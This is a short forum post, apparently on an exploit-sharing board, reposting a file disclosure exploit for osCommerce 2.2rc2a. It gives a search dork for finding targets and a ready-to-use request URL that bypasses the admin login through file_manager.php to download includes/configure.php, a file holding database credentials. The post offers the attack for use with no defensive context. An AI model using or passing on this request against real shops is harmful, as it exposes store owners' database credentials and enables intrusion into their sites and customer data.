Jump to content
redox

osCommerce file disclosure

By redox, in Exploituri

Recommended Posts

redox Newbie

redox

Posted
Posted

# Date: 2010-05-27

# Author : indoushka

# Dork : Powered by osCommerce

# Bug : File Disclosure

in : admin/file_manager.php/login.php?action=download&filename=

Example : 

http://[site][path]/admin/file_manager.php/login.php?action=download&filename=/includes/configure.php

Sursa :

oscommerce 2.2rc2a

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...